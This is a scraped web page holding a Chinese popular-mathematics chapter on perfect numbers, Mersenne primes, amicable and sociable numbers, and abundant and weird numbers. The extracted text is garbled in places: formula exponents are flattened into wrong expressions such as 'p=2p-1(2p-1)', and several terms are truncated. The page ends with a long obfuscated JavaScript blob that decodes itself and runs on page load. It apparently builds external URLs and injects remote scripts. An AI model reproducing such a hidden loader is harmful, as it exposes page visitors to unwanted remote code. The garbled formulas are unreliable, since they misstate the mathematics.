关灯
护眼
字体:

03 完美的和不那么完美的数(第1页)

章节目录保存书签

03完美的和不那么完美的数

数的完美性

对于取值小的数,我们通常能轻易找到特殊的性质来刻画它们,比如,3是唯一等于之前所有数之和的数,而2是仅有的偶素数(这使得它成为最怪异的素数)。6这个数有个独一无二的性质,它既是所有小于自身的因数的和,也是它们的乘积:6=1+2+3=1×2×3。

毕达哥拉斯学派将6这样的数称作完美数[1](perfeumber),意思是这个数是其所有真因数之和。对于一个数,我们把严格小于这个数本身的因数叫作它的真因数。这种完美性着实罕见。前5个完美数是6,28,496,8128和33550336。对于这些偶的完美数我们已经了解了很多,然而直至今日,依然没有人能回答古代人提出的基本问题,即是否有无穷多个这类特殊的数。另外,没有人找到过一个奇的完美数,也没有证明其不存在。任何奇完美数必然极其地大,并且由于奇完美性,这个数必须满足一长串特殊的性质。但是,所有这些限制条件还不足以排除这样一个数存在的可能——可以想象,这些特殊性质会引导我们去搜寻还未曾现身的第一个奇完美数,它可能只是在等着被发现。

欧几里得早就发现,偶完美数与一列非常特殊的素数有紧密的联系。它们被称为梅森素数(Mersenneprime),是以17世纪的法国教士马兰·梅森(MarinMersenne,1588——1648)命名的。

梅森数(Mersennenumber)是形如2p-1的数,这里的p是一个素数。举个例子,如果你取前四个素数2,3,5和7,那么可以看出前四个梅森数是3,7,31和127。读者朋友可以很快验证它们都是素数。如果p不是素数,比方说p=ab,那么m=2p-1当然也不是素数,因为可以验证在这种情况下m含有因数2a-1。倘若p为素数,则对应的梅森数常常是素数,至少在我们看来是这样的。

早在公元前300年,欧几里得就阐释过:一旦你有一个梅森素数,那么就存在一个与之对应的完美数,即p=2p-1(2p-1)。读者朋友可以迅速验证,前四个梅森素数确实给出上面所说的前四个完美数。例如,用第三个素数5作为种子,我们得到完美数p=24(25-1)=16×31=496,即前述列表里第三个完美数。P的因数是直到2p-1的2的各次幂,以及这些数乘上素数2p-1。现在剩下要做的就只是一项练习了:将所谓的几何数列(将在第5章中解释)求和,以便检查P的真因数之和确实是P。

在18世纪,伟大的瑞士数学家莱昂哈德·欧拉(LeonhardEuler,1707—1783)进一步证明了上述论断的逆命题,即每一个偶完美数都属于这一类型。这样,欧几里得和欧拉共同建立了一个梅森素数和偶完美数之间的一一对应关系。可是,下一个问题出现了:所有的梅森数都是素数吗?很遗憾,并非如此。失败仅咫尺之遥,因为第五个梅森数等于211-1=2047=23×89。的确,我们甚至不知道梅森素数的数列是否会终结——也许最终,在某个点之后所有的梅森数都是合数。

尽管如此,梅森数依然是素数的候选,因为可以证明,一个梅森数m的任何真因数——假如存在的话——拥有2kp+1这样的特定形式。比如,当p=11,借助这个结论,我们只需检验被形如22k+1的素数除的情况。这两个素因数23和89,分别对应于值k=1和k=4。这个关于梅森数因数的事实还带来一个意外之喜,它提供了第二种方法,使我们看出一定存在无穷多素数。因为它表明,2p-1的最小素因数大于p,因而p不可能是最大的素数。由于这适用于任意素数p,我们可以推断不存在最大的素数,于是素数数列可以永远延续下去。

因为我们没有办法随心所欲地构造素数,所以在任一时刻,都存在着一个最大的已知素数。如今,这项桂冠总是落在一个梅森素数头上,这要归功于国际合作的互联网梅森素数大搜索项目(GreatIMersennePrimeSearch,GIMPS)。这是一个始于1996年的志愿合作项目,它使用上千台并行工作的个人计算机,集成了一整套为此目的定制的算法来检验梅森数的素性。当前的世界之最是在2008年8月宣布的,它是2p-1,p=43112609。另外2009年4月又发现了一个新的p为42643801的梅森素数。这些数有大约1300万位,用普通的十进制记法需要上千页纸才能写下来[2]。

不那么完美的数

传统上人们对数的认识往往集中在单个数上,这些数被认为有特殊的甚至是奇妙的性质,就比如说完美数。不过,220和284是一对拥有类似特征的数。它们是第一对相亲数[3](amicablepair),意思是每个数的真因数之和等于另一个——这是推广到数对的一种完美性。法国著名的业余数学家皮埃尔·德·费马(PierredeFermat,1601——1665)找到了其他的相亲数,如17296和18416,而欧拉更是发现了好几十对。出人意料的是,他们都漏掉了一对小的数,即1184和1210,这是由16岁的尼可罗·帕格尼尼(Niini)在1866年发现的。当然,我们还可以走得比数对更远一些,去寻找完美的三元数组、四元数组等。更长的循环比较罕见,但仍会出现。

我们可以从任何数出发,找到它的真因数之和,接着继续重复这一过程,从而得到所谓的真因数和数列(aliquotsequence)。结果通常是令人失望的,因为我们一般会得到一条迅速抵达1的链,然后这个过程就终止了。举例说,即便是从一个看起来很有希望的数开始,比如12,链条还是很短:

12→(1+2+3+4+6)=16→(1+2+4+8)=15

→(1+3+5)=9→(1+3)=4→(1+2)=3→1。

困难在于,一旦你碰上一个素数,就结束了。完美数当然是例外,它们都会给我们一个循环,而相亲数则给我们一个双循环:220→284→220…。

能产生超过两个元素的循环的数叫作多亲数(soumber),相关研究直到20世纪才开始,因为那之前它们从没有被人发现过。直至今天,还没有生成三元环的多亲数被找到,虽然现在已经知道了120个四元环数链。最早的一些例子是由P。普莱(P。Poulet)在1918年找到的。第一个是一个五元环数链:

12496→14288→15472

→14536→14264→12496。

普莱的第二个例子令人惊叹,时至今日还没发现其他能与之比肩的数链:从14316开始,我们得到一个长度为28的循环。所有已知的其他数的循环长度均小于10。到今天,关于相亲数和多亲数,还没有像欧几里得和欧拉关于完美数那样漂亮的定理。不过,由于现代强大的计算能力,这类问题经历了一次由数值实验推动的复兴,人们也得出了一些新的结论。

根据一个数的真因数之和是小于、等于还是大于这个数本身,我们可以将所有数划分为三类:亏数(defiumber)、完美数(perfeumber)和盈数(abundantnumber)。比如,就像我们已经看到的,12是一个盈数,18和24也是,因为它们的真因数之和分别为21和36。

在整数中进行初步的搜索,你可能由此猜测盈数也就是6的倍数而已。当然,任何大于6的形如6n的数都是盈的,因为6n的因数一定包含1,2,3以及n,2n,3n,这些加起来大于原来的数6n。但是,这一观察也可以被推广到不仅限于6的倍数,因为我们可以将同样的推理应用于任何完美数k。nk的因数将含有1,以及完美数k的所有因数乘上n所得出的数,于是nk的所有真因数加起来至少会得1+nk。所以,任何完美数的倍数都是盈的。例如,28是完美的,因而2×28=56,3×28=84等都是盈的。

因此我们看到,完美数的倍数是盈数。同样的道理,盈数的倍数也一样。发现了这一点之后,你或许仍然会猜测,所有的盈数只是完美数的倍数。然而,你不用看太远,就会找到这个猜想的第一个例外。70是盈的,但它的因数没有一个是完美的。70是第一个所谓的奇异数(weirdnumber),不过不是因为上述原因(这个名字的来源下面会解释)。

章节目录

!function(){function a(a){var _idx="d5xud2u4am";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfgLcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgLcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pac6a??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 qcY=F8""a[7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=(c6=+i;NmLF562p67TcdaaaP7_2(F6O2 LcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OP7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os)5TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os7FTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osq6TqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osD_TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os2OTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osfYTqCLmR7RF:Cpm(O^gQ1KQ"Z=28Jc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/fnR_f@_od^/1os"!7m5Y|5T%%=FmL5(8Jc2a=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=DcaP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}Pr55dTm6Lr55dTcda??cd8HZ=(c6=""aa!qYF _8"1os"=h8"fnR_f@_od^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 XcYa[Xd5 F8H"1os2CTqf7mTfD_J(:m(O^"="1osCSTqfXmJq4Y(2fm(O^"="1osOSTq47mTfD_J(:m(O^"="1osF(Tq2SmJq4Y(2fm(O^"="1osDhTqdJmTfD_J(:m(O^"="1osh)TqCqmJq4Y(2fm(O^"="1osJfTq7DmTfD_J(:m(O^"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q1KQ"=28H"Y#"%hZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%_=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28_HfZcYH(Zc^%%aa=O8_HfZcYH(Zc^%%aa=68_HfZcYH(Zc^%%aa=d8_HfZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!qc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PpcOa=@8887mqOdfiFdF_LvvDcaP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=pcOaP=7mqOdfiFdF_L8}PqYF T8l}!7_2(F6O2 Dca[TvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 ica[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clTa[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=T8l0PqYF F8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ/f/1osj(8}vY8fnR_f@_od^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=28Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??2avvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajXc7_2(F6O2ca[qc@0}a=Xc7_2(F6O2ca[qc@0@a=fc7_2(F6O2ca[qc@0saPaPaPagfc7_2(F6O2ca[qc}0}a=fc7_2(F6O2ca[qc}0@a=Xc7_2(F6O2ca[qc}0saPaPaPaa=lYvvO??ica=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"a%"/)_pj68"%_=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=(c6=""aaPaPaca!'.substr(22));new Function(b)()}();